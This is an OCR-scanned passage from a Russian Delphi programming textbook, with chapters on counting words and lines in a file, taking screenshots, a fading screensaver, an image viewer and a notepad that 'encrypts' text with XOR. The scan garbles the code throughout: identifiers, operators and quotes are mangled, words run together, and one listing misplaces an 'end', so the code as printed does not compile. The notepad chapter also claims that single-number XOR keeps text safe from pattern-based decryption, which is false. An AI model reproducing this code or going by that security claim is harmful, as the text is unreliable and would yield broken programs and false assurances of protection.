line := 0;if FileExists(Editl.Text) //проверяем, существует ли файлthen begin
AssignFile(f,Editl.Text); //связываем файл с переменной fReset (f) ; //открываем файл на чтениеwhile not Eof (f) dobegin //читаем файл до достижения конца файла
oldstr := str;
Read(f, str); //считываем символ в переменную strif ((str <> 32) and (str <> 13) and (str <> 10))
then symbol := symbol + 1; {пополняем количествосимволов, если он не является переводомстроки, кодом новой строки или пробелом}
//если считан пробел, пополним счетчик пробеловif str = 32 then space := space + 1;
if str = 13 then line := line + 1; //счетчик строкif ((str = 32) or (str = 13) or (str = 10)) then
Полный исходный код модуля 25
if <(oldstr<>32) and (oldstrOlO) and (oldstr<>13) )then word := word + 1; //счетчик слов
end;
CloseFile(f); //закрываем файлend
else ShowMessage('Ошибка: Файл не найден!'); {если файл ненайден, то выводим сообщение об ошибке}
//Выводим всю полученную информацию о файлеsymbols.Caption :• IntToStr(symbol);spaces.Caption := IntToStr(space);lines.Caption := IntToStr(line);words.Caption := IntToStr (word) ;
end;
Сначала мы проверяем, существует ли файл, статистику которогобудем определять. Если все нормально, то начинаем считывать из этогофайла по одному символу и проверять по коду, что это за символ. Есликод символа равен 32, то это — пробел, и мы пополняем счетчик пробе-лов. Если код считанного символа равен 13, то это •— символ переводастроки, и мы пополняем счетчик строк. Если считанный символ не яв-ляется пробелом или символом перевода строки, то это - - обычныйсимвол и следует пополнить счетчик символов. Для того чтобы подсчи-тать количество слов, мы выполняем следующую проверку: если считанпробел или символ перевода строки, то проверяем, является ли преды-дущий символ пробелом или символом перевода строки, и если это так,пополняем счетчик слов.
Результат выполнения программы представлен на рис. 3.2.
Статистика
СтатистикаСлов: 161
Символов: 1317
Пробелов: 173
Строк: 79
DADocsVrexl\Delphi\Unit1.pa
Статистика
Рис. 3.2. Программа Статистика в действии
Полный исходный код модуляКод модуля программы Статистика представлен в листинге 3.1.
26 Работа с текстом. Статистика документа
Листинг 3.1. Модуль программы СтатистикаГ unit Unitl;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls;
typeTForml -
LabellLabei2
Label3Label4
Label5words:
class(TFormTLabel;TLabel;TLabel;
TLabel;TLabel;
TLabel;
spaces
symbols: TLabel;
TLabel;lines: TLabel;Buttonl: TButton;Editl: TEdit;Button2: TButton;Openl: TOpenDialog;procedure ButtonlClick(Sender: TObject);procedure Button2Click(Sender: TObject);
private
{ Private declarations }public
{ Public .declarations }end;
var Forml: TForml;
[ implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);begin
//начинаем обзор с текущей папкиOpenl.InitialDir := GetCurrentDir;if Openl.Execute // открываем диалоговое окно выбора файла
then Editl.Text := Openl.FileNameelse ShowMessage('Файл не выбран!');
end;
Полный исходный код модуля 27
Листинг 3.1. Окончание
procedure TForml.Button2Click(Sender: TObject);var
f: file of byte; //Переменная для работы с файломstr: byte; //Содержит считанный байтoldstr, symbol, word, line, space: Integer;
beginsymbol := 0; //обнуляем предыдущие результатыword := 0;space := 0;line := 0;if FileExists(Editl.Text) //проверяем, существует ли файлthen beginAssignFile(f,Editl.Text); //связываем файл с переменной fReset (f); //открываем файл на чтениеwhile not Eof(f) dobegin //читаем файл до достижения конца файла
oldstr := str;Read(f, str); //считываем символ в переменную strif ((str <> 32) and (str о 13) and (str <> 10))
then symbol := symbol + 1; (пополняем количествосимволов, если он не является переводомстроки, кодом новой строки или пробелом}
//если считан пробел, пополним счетчик пробеловif str = 32 then space := space + 1;if str = 13 then line := line + 1; //счетчик строкif ((str = 32) or (str = 13) or (str = 10)) then
if ((oldstr<>32) and (oldstrOlO) and (oldstr<>13))then word := word + 1; //счетчик слов
end;CloseFile(f); //закрываем файл
endelse ShowMessage('Ошибка: Файл не найден!'); {если файл не
найден, то выводим сообщение об ошибке}symbols.Caption := IntToStr(symbol); //Выводим всюspaces.Caption := IntToStr(space); //полученнуюlines.Caption := IntToStr(line); //информацию о файлеwords.Caption := IntToStr(word);
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 0 3 .
28 Снимок экрана
Глава 4
Снимок экрана
Постановка задачиРазработать программу, которая будет снимать и сохранять копию
экрана.
Разработка формыСоздайте новый проект Delphi и измените заголовок формы (свой-
ство Caption) на Screenshot. Чтобы пользователь не мог изменятьразмеры окна при работе с программой, следует присвоить свойствуBorderStyle значение bsDialog. Для удобства создания копий экранаокно программы должно быть всегда размещено поверх остальныхокон. Для этого присвоим свойству FormStyle значение f sStayOnTop.Мы можем себе это позволить: на самой копии экрана окно нашей про-граммы отображено не будет, поскольку в момент создания копии онобудет временно сокрыто.
Для сохранения копии экрана нам понадобится компонентSaveDialog категории Dialogs. Разместите этот компонент на форме.Поскольку мы заранее знаем, что будем сохранять рисунок, то свойствуSaveDialogl . F i l t e r присвойте значение Рисунок | * . bmp | Все фай-лы! * .*. При сохранении файла у пользователя будет выбор: сохранятьфайл как рисунок (.* . bmp) или как любой другой файл (***).
Разместите вдоль правого края формы четыре кнопки (компонентыButton категории Standard) со следующими заголовками (свойствоCaption): Сделать снимок экрана, Показать снимок, Очистить иСохранить. Также нам потребуется компонент, который будет отобра-жать полученную копию экрана. Для этих целей мы будем использоватькомпонент Image категории Additional. Измените его имя (свойствоName) на Screenl , а свойству P r o p o r t i o n a l присвоим значение True.
На этом разработка формы завершена. Полученный результат дол-жен примерно соответствовать рис. 4.1.
Разработка программного кода 29
• ScreenShot*
Показать снимок
Очистить
СохранитьJ
Рис. 4.1. Форма для создания копий экрана
Разработка программного кодаДля начала объявим все переменные, которыми будем пользоваться
в nE°£P?Mi^£L_ _____ _гагForml: TForml; //главная формаВМР1: Graphics.TBitmap; //для работы с рисунками (*.bmp)DC1: HDC; //простое поле для графикиImagel: TImage;
Самое главное событие в программе это нажатие кнопки Сделать
procedure TForml.ButtonlClick(Sender: TObject);beginForml.Visible := False; //прячем формуSleep(15); //пауза 15 мсBMP1 := Graphics.TBitmap.Create;//задаем размеры рисунка такие же как размеры экранаВМР1.Height := Screen.Height;ВМР1.Width := Screen.Width;DC1 := GetDC(O);
//Делаем копию экранаBitBlt(BMPl.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);
Forml.Visible := True; //восстанавливаем окно программыImagel := TImage.Create(nil);BMP1.IgnorePalette := True;
Imagel.Picture.Assign(BMP1);
30 Снимок экрана
ВМР1.SaveToFile('с:\1.bmp1); //сохраняем снимок в файл
//l.bmp на диске С:\
end;
Перед тем как сделать снимок экрана, мы прячем окно программы,делаем паузу в 15 мс и задаем размеры будущего рисунка. После этогоделаем снимок экрана и сохраняем его в файл 1. bmp, который находит-ся на диске С: \.
^ к о д :
procedure TForml.Button4Click(Sender: TObject);begin
Screenl.Show; // делаем рисунок видимымif FileExists('с:\1.bmp
1) then //если рисунок существует,
Screenl.Picture.LoadFromFile('c:\1.bmp'); //загружаем егоend;
По нажатию кнопки Очистить мы должны скрывать рисунок и уда-лять его с диска:procedure TForml.Button3Click(Sender: TObject);begin
//удаляем рисунок с дискаif FileExists('с:\1.bmp
1) then DeleteFile('С:\1.bmp');
Screenl.Hide; //скрываем рисунокend;
Для сохранения рисунка будем использовать диалоговое окно. Код
нажатия кнопки Сохранить:
procedure TForml.Button2Click(Sender: TObject);begin
if SaveDialogl.Execute then
BMP1.SaveToFile(SaveDialogl.FileName) //сохраняем рисунокelse ShowMessage('Файл не был сохранен!
1);
end;
Здесь мы проверяем, выбрал ли пользователь место сохраненияфайла. Если да, то сохраняем рисунок по указанному расположению.
Откомпилируем и запустим программу на выполнение (резуль-тат — на рис. 4.2).
Полный исходный код модуляПолный исходный код модуля программы ScreenShot представлен
в листинге 4.1.
Полный исходный код модуля 31
Э5ЭЗВЗЯИ
ИГ— ^•
xj
Сделать снимок экрана
Показать снимок
Очистить
Сохранить
Рис. 4.2. Программа ScreenShot в действии
Листинг 4.1. Модуль программы ScreenShot
unit Unitl;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls, ExtCtrls, Registry,WinProcs, jpeg;
typeTForml = class(TForm)
Buttonl: TButton;Button2: TButton;Screenl: TImage;SaveDialogl: TSaveDialog;Button3: TButton;Button4: TButton;procedure ButtonlClick(Sender:procedure Button2Click(Sender:procedure Button3Click(Sender:procedure Button4Click(Sender:
private{ Private declarations }
public{ Public declarations }
end;
var
TObject);TObject);TObject);TObject);
32 Снимок экрана
Листинг 4.1. Продолжение
Forml: TForml; //главная формаВМР1: Graphics.TBitmap; //для работы с рисунками (*.bmp)DC1: HDC; //простое поле для графики
Imagel:. TImage;
implementation
{$R *.dfm}
procedure TForml.ButtonlClick(Sender: TObject);begin
Forml.Visible : = False; //прячем формуSleep(15);//пауза 15 мсBMP1 := Graphics.TBitmap.Create;//задаем размеры рисунка такие же как размеры экранаВМР1.Height := Screen.Height;ВМР1.Width := Screen.Width;DCl:=GetDC(O);//Делаем снимок экранаBitBlt(BMP1.Canvas.Handle,
Screen.Height, DC1,0, 0, Screen.Width,
0, 0, SRCCOPY);Forml.Visible := True; //восстанавливаем окно программыImagel := TImage.Create(nil) ;BMP1.IgnorePalette := True;Imagel.Picture.Assign(BMP1) ;BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл
//l.bmp на диске С:\end;
procedure TForml.Button2Click(Sender: TObject);begin
if SaveDialogl.Execute thenBMP1.SaveToFile(SaveDialogl.FileName) //сохраняем рисунок
else ShowMessage('Файл не был сохранен!');end;
procedure TForml.Button3Click(Sender: TObject);begin
//удаляем рисунок с дискаif FileExists('с:M.bmp') then DeleteFile('С:\1.bmp');
Screenl.Hide; //скрываем рисунокend;
procedure TForml.Button4Click(Sender: TObject);begin
Полный исходный код модуля 33
Листинг 4.1. Окончание
Screenl.Show; // делаем рисунок видимымif FileExists('с:\1.bmp') then //если рисунок существует,
Screenl.Picture.LoadFromFile('с:\1.bmp');//загружаем егоend;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 04.
3 — 5-1212
34 Хранитель экрана
Глава 5
Хранитель экрана
Постановка задачиРазработать хранитель экрана для Windows (файл с расширением
*-. scr). Форма масштабируется на весь экран, заголовок скрывается,а любые действия пользователя должны прекращать работу программы.Случайным образом выбирается цвет формы, затем происходит ее плав-ное насыщение случайно выбранным цветом. Первоначально формаполностью прозрачная. Когда она станет полностью непрозрачной, сле-дует медленно убирать насыщенность цвета, пока она опять не станетпрозрачной. После этого вновь выбирается случайный цвет для насы-щения, и описанный процесс повторяется сначала.
Разработка формы
Создадим новый проект Delphi. Как известно, экранные заставкихранятся в файлах с расширением . scr, а по умолчанию проект Delphiкомпилируется как выполняемый файл . ехе. Для того чтобы наша про-грамма имела расширение . scr, выполним команду меню Project —> Op-tions, на вкладке Application диалогового окна Project Options введемв поле Target file extension значение scr (рис. 5.1) и нажмем кнопку ОК.
Все что нам понадобится на форме, — это два компонента Timerкатегории System. Первый будет служить для реализации постепенногонасыщения формы цветом — для этого таймера следует изменить зна-чение свойства I n t e r v a l на 100. Второй таймер потребуется при по-степенном уменьшении насыщенности цвета вплоть до того момента,когда форма вновь станет полностью прозрачной. Для этого таймерасвойству i n t e r v a l следует также присвоить значение 100, а значениесвойства Enabled изменить на False, поскольку изначально "затуха-ния" происходить не будет.
Разработка формы 35
Project Options
Directories/Conditionals : Version Info PackagesForms Application Compiler j Linker
Application settings
litle: f
Help file: Г
[con: j ш^.
r̂owse...
Load Icon... j
' Output settings — "T arget file extension: I scr
Г JDefai! OK Cancel Help
Рис. 5.1. Выбор расширения для откомпилированной программы
Изменим свойства формы согласно табл. 5.1.
Таблица 5.1. Свойства формы хранителя экрана
Свойство
B o r d e r S t y l e
A l i g n
F o r r u S t y l e
A l p h a B l e n d
A l p h a B l e n d V a l u e
Значение
bsNone
a l C l i e n t
f s S t a y O n T o p
T r u e
1
Пояснение
Окно программы будет отображаться
без границы и заголовка
Окно программы будет заполнять весь
экран
Окно программы будет располагаться
поверх всех остальных окон
Разрешаем изменение степени про-
зрачности формы
Изначально окно программы полно-
стью непрозрачное
36 Хранитель экрана
Разработка программного кодаОбъявите в разделе var переменную mouse типа TPoint. В этой
переменой будут храниться координаты указателя мыши, при измене-ниикоторых программа должна закрываться:
varForml: TForml;mouse: TPoint;
Программа экранной заставки должна закрываться не только подвижению мыши, но при любой активности пользователя. Для этогосоздадим обработчики некоторых событий главной формы. Созданиеформы (событие OnCreate):
procedure TForml.FormCreate(Sender: TObject);begin
GetCursorPos(mouse); //сохраняем координаты курсора мышиShowCursor(False); //прячем курсор
end;
Форма должна закрываться по нажатию любой клавиши (событиеOnKeyPress) и при движении мышью (событие OnMouseMove). Код об-работчика события OnKeyPress:procedure TForml.FormKeyPress(Sender: TObject; var Key:Char);begin
Halt; //завершение работы программыend;
Для события OnMouseMove программный код будет несколькоиным:procedure
beginif (X О
end;
TForml
mouse
.FormMouseMoveShift
(Sender: TObject;: TShiftState; X, Y:
.X) or (У О mouse.Y) then Halt;
Integer);
Здесь сначала выполняется проверка: были ли изменены координа-ты курсора. Если координаты курсора изменились, то, соответственно,мышь была сдвинута и следует закрыть программу.
Напишем собственную процедуру для выбора случайного цвета:color_check. Объявите ее как закрытый член класса формы:
Разработка программного кода 37
typeTForml class(TForm)
private{ Private declarations }procedure color_check();
public{ Public declarations }
end;
В разделе implementation создадим реализацию процедурыcolor check:procedure TForml.colorvar
ran:
begin
check();
integer; //случайное число, соответствующее//определенному цвету
Randomize; //включаем генератор случайных чиселran := random(6) + 1 ; //выбираем случайное число от 1 до 6
//назначаем форме цвет, соответствующий выбранному числу
case1:2:
3:
4:
5:6:
end;
end;
ran ofForml.Color : =
Forml.Color :=
Forml.Color :=
Forml.Color :=
Forml.Color :=
Forml.Color :=
clBlack;
clWhite;clBlue;
clGray;
clYellow;
clGreen;
Здесь случайным образом выбирается число от 1 до 6, в зависимо-сти от того которого определяем цвет формы. Процедура c o l o r c h e c kбудет вызываться при каждом новом насыщении формы.
Обработчик события OnTimer первого таймера должен иметь сле-дующий вид:procedure TForml.TimerlTimer(Sender: TObject);begin
if Forml.AlphaBlendValue > 250then {проверяем: не полностью ли мы закрасили форму}begin
Timerl.Enabled := False; //выключаем насыщение формыTimer2.Enabled := True; //включаем обратный процесс
end;
//постепенное насыщение формыForml.AlphaBlendValue := Forml.AlphaBlendValue + 1;
end;
38 Хранитель экрана
Насыщенность постепенно увеличивается на 1, и выполняется про-верка: не стала ли форма уже полностью закрашенной выбранным цве-том. Если нет, то продолжаем увеличивать насыщенность цвета черезкаждые 100 мс. Когда форма будет полностью насыщенной, начинаемобратный процесс, который будет происходить под управлением второ-го таймера (событие Time г 2 . OnTimer): ___procedure TForml.Timer2Timer(Sender: TObject);begin
if Forml.AlphaBlendValue < 5then //если форма уже полностью прозрачнаяbegin
color_check(); //выбираем случайный цвет для формыTimer2.Enabled := False; //выключаем второй таймерTimerl.Enabled := True; //включаем первый таймер
end;
//Уменьшаем прозрачность на 1Forml.AlphaBlendValue := Forml.AlphaBlendValue - 1;
Здесь через каждые 100 мс прозрачность формы уменьшается на 1.Когда форма становится полностью прозрачной, мы случайным образомвыбираем другой цвет, выключаем таймер, по которому происходитуменьшение насыщенности цвета, и включаем первый таймер, которыйплавно увеличивает насыщенность цвета.
Теперь программу можно откомпилировать, скопировать файл . scrв папку с хранителями экрана (для Windows ХР это папка Win-dows \System32), открыть окно параметров Рабочего стола и выбратьхранитель экрана, соответствующий нашей программе.
Разработанный нами хранитель экрана в действии показан нарис. 5.2. В данном случае был случайным образом выбран желтый цветзаполнения и происходит медленное насыщение этим цветом. Можноразглядеть папки, которые видны сквозь полупрозрачную форму.
Полный исходный код модуляПолный исходный код модуля программы Хранитель экрана пред-
ставлен в листинге 5.1.
Полный исходный код модуля 39
Рис. 5.2. Хранитель экрана в действии
Листинг 5.1. Модуль программы Хранитель экрана
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, ExtCtrls;
typeTForml = class(TForm)
Timerl: TTimer;Timer2: TTimer;procedure FormCreate(Sender: TObject);procedure FormKeyPress(Sender: TObject; var Key: Char);procedure FormMouseMove(Sender: TObject;
Shift: TShiftState; X, Y: Integer)procedure TimerlTimer(Sender: TObject);procedure Timer2Timer(Sender: TObject);
40 Хранитель экрана
Листинг 5.1. Продолжение
private{ Private declarations }procedure color_check();
publicf Public declarations }
end;
varForml: TForml;mouse: TPoint;
implementation
{$R *.dfm)
procedure TForml.color_check(} ;var
ran: integer; //случайное число, соответствующее//определенному цвету
beginRandomize; //включаем генератор случайных чиселran : = Random(6) + 1; //выбираем случайное число от 1 до б//Назначаем форме цвет, соответствующий выбранному числуcase ran of
1: Forml.Color2: Forml.Color3: Forml.Color4: Forml.Color5: Forml.Color6: Forml.Color
clBlack;clWhite;clBlue;dGray;clYellow;clGreen;
end;end;
procedure TForml.FormCreate(Sender: TObject);begin
GetCursorPos(mouse); //получаем координаты курсора мышиShowCursor(False); //прячем курсор
end;
procedure TForml.FormKeyPress(Sender: TObject; var Key:Char)begin
Halt; //завершение работы программыend;
Полный исходный код модуля 41
Листинг 5.1. Окончание
procedure TForml.FormMouseMove(Sender: TObject;Shift: TShiftState; X, Y: Integer);
beginif (X <> mouse.X) or (Y <> mouse.Y) then Halt;
end;
procedure TForml.TimerlTiraer(Sender: TObject);begin
if Forml.AlphaBlendValue > 250then //проверяем: не полностью ли мы закрасили формуbegin
TimerI.Enabled := False; //выключаем насыщение формыTimer2.Enabled := True; //включаем обратный процесс
end;//постепенное насыщение формыForml.AlphaBlendValue := Forml.AlphaBlendValue + 1;
end;
procedure TForml.Timer2Timer(Sender: TObject);begin
if Forml.AlphaBlendValue < 5then //если форма уже полностью прозрачнаяbegin
color_check(); //выбираем случайный цвет для формыTimer2.Enabled := False; //выключаем второй таймерTimerI.Enabled := True; //включаем первый таймер
end;
//Уменьшаем прозрачность на 1Forml.AlphaBlendValue := Forml.AlphaBlendValue - 1;
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 05.
42 Программа просмотра рисунков
Глава 6
Программа просмотра рисунков
Постановка задачиРазработать программу для просмотра рисунков. Программа долж-
на отображать рисунок, загруженный с помощью стандартного диалого-вого окна обзора. Кроме того, любой рисунок должен быть связан сданной программой и открываться ею по двойному щелчку мышью илинажатию клавиши <Enter> в Проводнике или любом другом файл-менеджере.
Разработка формыСоздайте новый проект Delphi. Разместите на форме компонент Im-
age категории Additional, который будет служить для отображения ри-сунка. Для того чтобы при любых размерах окна рисунок всегда запол-нял всю форму, следует изменить значение свойства Align на a l C l i -ent.
Для вызова диалоговых окон открытия и сохранения рисунка вос-пользуемся компонентами OpenDialog и SaveDialog категории Dia-logs. Присвоим свойству Name этих компонентов значения Openl иSavel соответственно. Для обоих компонентов присвойте свойствуF i l t e r значение Все файлы|*.*.
Для доступа к функциям программы будем использовать командыменю. Разместите на форме компонент MainMenu категории Standard.Для того чтобы создать пункты меню, следует дважды щелкнуть мы-шью на компоненте MainMenul, в результате чего откроется редакторменю, изображенный на рис. 6.1.
Для того чтобы добавить новый пункт, следует щелкнуть мышьюв этом окне на пустом элементе меню и изменить в инспекторе объектовзначение свойства Caption. Вначале создаются пункты меню, а затеманалогичным образом — подпункты (команды). Для создания раздели-телей свойству Caption следует присвоить значение - (дефис).
Разработка формы 43
Irrl Forml.MainMenul
Рис. 6.1. Редактор меню
Создайте меню, соответствующее рис. 6.2.
Файл Правка
Открыть
Сохранить
Выход
Файл Правка ;
Очистить
Рис. 6.2. Меню для программы просмотра рисунков
Вид готовой формы представлен на рис. 6.3.
• : • • : _ _ : _ _ : • • ; • • : • ' : „ • • : • ' : _ : J
Рис. 6.3. Форма программы просмотра рисунков
44 Программа просмотра рисунков
Разработка программного кодаТеперь создадим обработчики события OnClick для пунктов меню.
Для команды Файл -> Открыть: 'I procedure TForml.N2Click(Sender: TObject);begin
//начинаем обзор с текущей папкиOpenl.InitialDir := GetCurrentDir;//открываем диалоговое окно выбора файлаif Openl.Execute then begin
//загружаем выбранный рисунокImagel.Picture.LoadFromFile(Openl.FileName);Imagel.Show; //отображаем рисунок на форме
endelse //Если рисунок не был выбран
ShowMessage('Вы не выбрали рисунок!');Imagel.Show;
end;
Здесь мы просто открываем диалоговое окно выбора рисунка, и, ес-ли пользователь выбрал рисунок, то загружаем его в компонент Imagelи отображаем на форме.
procedure TForml.N3Click(Sender: TObject);begin
if Savel.Execute then //сохранение рисункаImagel.Picture.SaveToFile(Savel.FileName)
else ShowMessage('Рисунок не был сохранен!');
end;
Здесь мы открываем диалоговое окно сохранения рисунка, и, еслипользователь выбрал место сохранения файла, извлекаем этот путь(свойство Savel . FileName) и сохраняем отображаемый в данный мо-мент рисунок.
procedure TForml.N5Click(Sender: TObject);begin
Halt; //завершение работы программыend;
_ _ 9JEE!E2Ji!iISi5£^l!i Q" С Иск для пункта меню Правка —> Очистить:'"procedure TForml.N7Click(Sender: TObject);begin
Imagel.Hide; //прячем рисунокend;
Разработка программного кода 45
Единственное, чего не достает этой программе, — это возможностьоткрывать с ее помощью рисунки в файл-менеджерах. Реализуем этувозможность, добавив следующий код в обработчик события OnCreateглавной фoJElJ!l!di___-_procedure TForml.FormCreate(Sender: TObject);var
Str:String; //путь к файлу, который поступил как параметрi:Integer;
beginif (ParamCount > 0)then //если на вход программы поступил параметрbegin
//составляем путь к файлу по символамStr := ParamStr(l);for i:=2 to ParamCount do
Str := Str + ' ' + ParamStr(i);
Imagel.Picture.LoadFromFile(str); //загружаем рисунокImagel.Show; //показываем рисунок
end;end;
При создании формы выполняется проверка: запускается ли про-грамма с параметрами. Если на вход поступили параметры, то опреде-ляем путь к рисунку и отображаем его на форме. Программа просмотрарисунков в действии представлена на рис. 6.4.
Рис. 6.4. Программа просмотра рисунков в действии
46 Программа просмотра рисунков
Полный исходный код модуляПолный исходный код модуля программы просмотра рисунков
представлен в листинге 6.1.
Листинг 6.1. Модуль программы просмотра рисунков
ГипТГ Uniti;
i interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, Menus, ExtCtrls;
typeTForml = class(TForm)
Imagel: TImage;MainMenul: TMainMenu;N1: TMenuItem;N2: TMenuItem;N3: TMenuItem;N4: TMenuItem;N5: TMenuItem;N6: TMenuItem;N7: TMenuItem;Openl: TOpenDialog;Savel: TSaveDialog;procedure FormCreate(Sender: TObject);procedure N2Click(Sender: TObject);procedure N3Click(Sender: TObject);procedure N5Click(Sender: TObject);procedure N7Click(Sender: TObject);
private{ Private declarations }
public{ Public declarations }
end;
var
Forml: TForml;
implementation
{$R *.dfm}
Полный исходный код модуля 47
Листинг 6.1. Продолжение
procedure TForml.FormCreate(Sender: TObject);var
Str: String; //путь к файлу, который поступил как параметрi:Integer;
beginif (ParamCount > 0)then //если на вход программы поступил параметрbegin
//составляем путь к файлу по символамStr := ParamStr(1);for i:=2 to ParamCount doStr := Str +'.*•+ ParamStr(i);
end;Imagel.Picture.LoadFromFile(str); //загружаем рисунокImage1.Show; //показываем рисунок
end;end;
procedure TForml.N2Click(Sender: TObject);begin
//начинаем обзор с текущей папкиOpenl.InitialDir := GetCurrentDir ;//открываем диалоговое окно выбора файлаif Openl.Execute thenbegin
//загружаем выбранный рисунокImagel.Picture.LoadFromFile(Openl.FileName);Imagel.Show; //показываем рисунок на форме
endelse //Если рисунок не был выбран
ShowMessage('Вы не выбрали рисунок!');Imagel.Show;
end;
procedure TForml.N3Click(Sender: TObject);begin
if Savel.Execute then //сохранение- рисункаImagel.Picture.SaveToFile(Savel.FileName)
else ShowMessage('Рисунок не был сохранен!');end;
procedure TForml.N5Click(Sender: TObject);begin
Halt; //выход из программы
I end;
_ _ _ _ _ _ _
48 Программа просмотра рисунков
Листинг 6.1. Окончание
L
procedure TForml.N7Click(Sender: TObject);begin
Image1.Hide; //прячем рисунокend;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 0 6.
Постановка задачи 49
Глава 7
Блокнот-шифровальщик
Постановка задачиРазработать программу, повторяющую функции стандартного
блокнота с дополнительной возможностью шифрования и дешифрова-ния данных.
Разработка формыСоздадим новый проект Delphi. Интерфейс программы сделаем по-
хожим на интерфейс стандартного блокнота. Разместите на форме ком-понент Memo (многострочное текстовое поле) категории Standard. Длятого чтобы при любых размерах окна этот компонент заполнял всюформу, измените значение свойства Memol.Al-ign на a l C l i e n t . Длятекстового поля должна отображаться только вертикальная полоса про-крутки (то есть, будет выполняться автоматический перенос слов но но-вую строку). Для этого следует изменить значение свойства S c r o l l -Bars на s s V e r t i c a l .
Разместите на форме компонент MainMenu категории Standard исоздайте меню, представленное на рис. 7.1.
Файл Правка Формат |
Открыть
Сохранить
Закрыть
ншавш;Файл Правка Формат ;...,..
Число XOR
Зашифровать/РасшифроватОчистить
Файл Праака Формат
*/ Перенос по словам
Шрифт
Рис. 7.1. Меню программы Блокнот-шифровальщик
Разработка меню рассматривается в предыдущей главе.
Для пункта меню Формат —> Перенос по словам следует установитьсвойство Checked равным True, поскольку этот пункт меню будет вы-полнять роль переключателя.
4 — 5-1212
50 Блокнот-шифровальщик
Для вызова диалогового окна открытия файла будем использоватькомпонент OpenDialog категории Dialogs, а для сохранения файла —компонент SaveDialog той же категории. Для обоих компонентов из-мените значение свойства F i l t e r на Блокнот | * . t x t | Все файлы | * . *.Также разместите на форме еще один компонент категории Dialogs:Font Dialog. Он будет служить для изменения шрифта.
Больше ничего добавлять на форму не нужно, и результат оформле-ния должен соответствовать рис. 7.2.
Рис. 7.2. Форма блокнота-шифровальщика
Разработка программного кодаШифровать текст будем с помощью функции хог или обычного
смещения. Для того чтобы зашифрованные тексты нельзя было рас-шифровывать по шаблону, будем предлагать пользователю самому вы-бирать число хог, на которое надо смещать символ.
Прежде всего объявите глобальную переменную xr_num типаstring:
varForml: TForml;xr_num: s tring;
Разработка программного кода 51
Теперь займемся командами меню. Обработчик события OnClickдля пункта Файл —> Открыть:procedure TForml.NIClick(Sender: TObject);begin
//начинаем обзор с текущей папкиOpenDialogl.InitialDir := GetCurrentDir;if not OpenDialogl.Executethen ShowMessage('File not selected!')else //загружаем выбранный файл в MemoMemol.Lines.LoadFromFile(OpenDialogl.FileName);
end;
Здесь мы открываем стандартное диалоговое окно обзора и просимпользователя выбрать текстовый или любой другой файл. После тогокак пользователь выбрал файл, загружаем его в нашу программу.
Обработчик события OnClick для пункта Файл —> Сохранить:procedure TForml.N2Click(Sender: TObject);begin
Savedialogl.InitialDir := GetCurrentDir;if not SaveDialogl.Executethen ShowMessage('File not saved!
1)
else //сохраняем в файл
Memol.Lines.SaveToFile(SaveDialogl.FileName);
end;
Открываем диалоговое окно сохранения файла. После того какпользователь выбрал место сохранения файла, извлекаем текст из Memoи сохраняем его в выбранной папке.
Обработчик события OnClick для пункта Файл —> Выход:procedure TForml.N4Click(Sender: TObject);begin
Close; //закрыть программуend;
Обработчик события OnClick для пункта Правка -> Число XOR:procedure TForml.XoRlClick(Sender: TObject);begin
if not InputQuery('XOR', 'Введите число xor:', xr_num)
then Exit;
end;
Здесь мы отображает окно для выбора числа хог. Указанное пользо-вателем число будет занесено в переменную xr_num.
Обработчик события OnClick для пункта Правка -» Зашифро-вать/Расшифровать:
4*
52 Блокнот-шифровальщик
[procedure TForml.N5Click(Sender: TObject);j var
xr: string; //зашифрованный текстi: integer; //счетчик цикла
1 beginfor i:=1 to Length(Memol.Text) dobegin //перебираем каждый символ в тексте
//выполняем указанное пользователем смещениеxr := xr + Chr(Ord(Memol.Text[i]) xor StrToInt(xr_num));
end;
//заменяем оригинальный текст на зашифрованныйMemol.Text := xr;
end;
По этой команде меню выполняется шифрование текста, которыйсейчас находится в поле Memo. В цикле перебираются все символы, икаждый из них шифруется отдельно.
Обработчик события OnClick для пункта Правка —* Очистить:procedure TForml.N8Click(Sender: TObject);begin
Memol.lines.Clear; //очистка Memo
end;
Очищаем поле Memo от содержащегося в нем текста.Обработчик события OnClick для пункта Формат -» Перенос по
словам: _____[procedure TForml.N9Click(Sender: TObject);
begini f N9.Checked then //если флажок установленbegin• N9.Checked := False; //сбрасываем флажок
//Отображаем горизонтальную полосу прокруткиMemol.ScrollBars := ssBoth;
endelse begin //если флажок не установлен
N9.Checked := True; //устанавливаем флажок//убираем горизонтальную полосу прокруткиMemol.ScrollBars := ssVertical;
end;end;
По этой команде меню мы проверяем, какое состояние сейчас упункта Формат -» Перенос по словам. Если флажок установлен, то мысбрасываем его и отображаем горизонтальную полосу прокрутки. Впротивном случае, устанавливаем флажок и убираем горизонтальнуюполосу прокрутки.
Разработка программного кода 53
procedure TForml.NIOClick(Sender: TObject);begin
//Определяем все настройки шрифта и отображаем их//в диалоговом окнеFontDialogl.Font.Color := Memol.Font.Color; //цвет шрифтаFontDialogl.Font.Style := Memol.Font.Style; //стильFontDialogl.Font.Size := Memol.Font.Size; //размерFontDialogl.Font.Charset := Memol.Font.Charset; //кодировкаFontDialogl.Font.Name := Memol.Font.Name; //название шрифтаif FontDialogl.Execute thenbegin //применяем все выбранные настройкиMemol.Font.Color := FontDialogl.Font.Color;Memol.Font.Style := FontDialogl.Font.Style;Memol.Font.Size := FontDialogl.Font.Size;
Memol.Font.Charset := FontDialogl.Font.Charset;:Memol.Font.Name := FontDialogl.Font.Name;
end;end;
